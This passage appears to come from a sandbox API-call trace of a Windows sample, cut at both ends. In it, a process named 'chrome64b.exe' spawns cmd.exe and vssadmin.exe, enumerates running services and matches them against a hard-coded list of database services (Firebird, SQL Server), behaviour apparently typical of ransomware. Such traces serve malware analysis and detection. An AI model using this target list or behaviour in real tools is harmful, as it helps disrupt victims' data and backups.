out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.033] lstrlenW (lpString="svchost.exe") returned 11 [0043.033] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.034] lstrlenW (lpString="taskeng.exe") returned 11 [0043.034] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.035] lstrlenW (lpString="taskhost.exe") returned 12 [0043.035] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0043.036] lstrlenW (lpString="obligations-breath.exe") returned 22 [0043.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0043.263] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0043.263] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0043.264] lstrlenW (lpString="achieving.exe") returned 13 [0043.264] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0043.264] lstrlenW (lpString="venice.exe") returned 10 [0043.264] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0043.265] lstrlenW (lpString="owns.exe") returned 8 [0043.265] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0043.266] lstrlenW (lpString="faster momentum.exe") returned 19 [0043.266] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0043.266] lstrlenW (lpString="vital_reasons.exe") returned 17 [0043.266] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0043.267] lstrlenW (lpString="everyone.exe") returned 12 [0043.267] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0043.272] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0043.272] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0043.272] lstrlenW (lpString="bored_excluded.exe") returned 18 [0043.272] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0043.273] lstrlenW (lpString="mothers.exe") returned 11 [0043.273] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0043.274] lstrlenW (lpString="career-fed.exe") returned 14 [0043.274] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0043.274] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0043.274] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0043.275] lstrlenW (lpString="initial_utilization.exe") returned 23 [0043.275] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0043.276] lstrlenW (lpString="cf-represent.exe") returned 16 [0043.276] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0043.276] lstrlenW (lpString="tue.exe") returned 7 [0043.276] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0043.277] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0043.277] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0043.278] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0043.278] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0043.278] lstrlenW (lpString="stuff_event.exe") returned 15 [0043.278] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0043.279] lstrlenW (lpString="keywords-copies.exe") returned 19 [0043.279] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0043.280] lstrlenW (lpString="lap.exe") returned 7 [0043.280] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.280] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.280] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0043.281] lstrlenW (lpString="chrome64b.exe") returned 13 [0043.281] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.281] lstrlenW (lpString="cmd.exe") returned 7 [0043.281] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.282] lstrlenW (lpString="conhost.exe") returned 11 [0043.282] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.283] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.283] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0043.283] lstrlenW (lpString="VSSVC.exe") returned 9 [0043.283] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0043.284] CloseHandle (hObject=0x1d4) returned 1 [0043.284] Sleep (dwMilliseconds=0x1f4) [0044.091] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64a0f8 [0044.092] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0044.092] GetLastError () returned 0xea [0044.092] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x123e) returned 0x6e1eb0 [0044.092] EnumServicesStatusExW (in: hSCManager=0x64a0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x123e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0044.093] CloseServiceHandle (hSCObject=0x64a0f8) returned 1 [0044.093] lstrlenW (lpString="Appinfo") returned 7 [0044.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.093] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.093] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.093] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.094] lstrlenW (lpString="AudioSrv") returned 8 [0044.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.094] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.094] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.094] lstrlenW (lpString="BFE") returned 3 [0044.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.094] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.094] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.094] lstrlenW (lpString="CryptSvc") returned 8 [0044.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.094] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.094] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.094] lstrlenW (lpString="CscService") returned 10 [0044.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.094] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.094] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.094] lstrlenW (lpString="DcomLaunch") returned 10 [0044.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.094] lstrlenW (lpString="Dhcp") returned 4 [0044.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.095] lstrlenW (lpString="Dnscache") returned 8 [0044.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.095] lstrlenW (lpString="DPS") returned 3 [0044.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.095] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.095] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.095] lstrlenW (lpString="eventlog") returned 8 [0044.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.095] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.095] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.095] lstrlenW (lpString="EventSystem") returned 11 [0044.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.095] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.095] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.095] lstrlenW (lpString="gpsvc") returned 5 [0044.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.095] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.096] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.096] lstrlenW (lpString="iphlpsvc") returned 8 [0044.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.096] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.096] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.096] lstrlenW (lpString="LanmanServer") returned 12 [0044.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.096] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.096] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.096] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.096] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.096] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.096] lstrlenW (lpString="lmhosts") returned 7 [0044.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.096] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.096] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.096] lstrlenW (lpString="MMCSS") returned 5 [0044.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.096] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.096] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.096] lstrlenW (lpString="MpsSvc") returned 6 [0044.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.097] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.097] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.097] lstrlenW (lpString="Netman") returned 6 [0044.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.097] lstrlenW (lpString="netprofm") returned 8 [0044.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.097] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.097] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.097] lstrlenW (lpString="NlaSvc") returned 6 [0044.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.097] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.097] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.097] lstrlenW (lpString="nsi") returned 3 [0044.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.097] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.097] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.097] lstrlenW (lpString="PcaSvc") returned 6 [0044.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.098] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.098] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.098] lstrlenW (lpString="PlugPlay") returned 8 [0044.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.098] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.098] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.098] lstrlenW (lpString="Power") returned 5 [0044.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.098] lstrlenW (lpString="ProfSvc") returned 7 [0044.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.098] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.098] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.098] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.098] lstrlenW (lpString="RpcSs") returned 5 [0044.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.099] lstrlenW (lpString="SamSs") returned 5 [0044.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 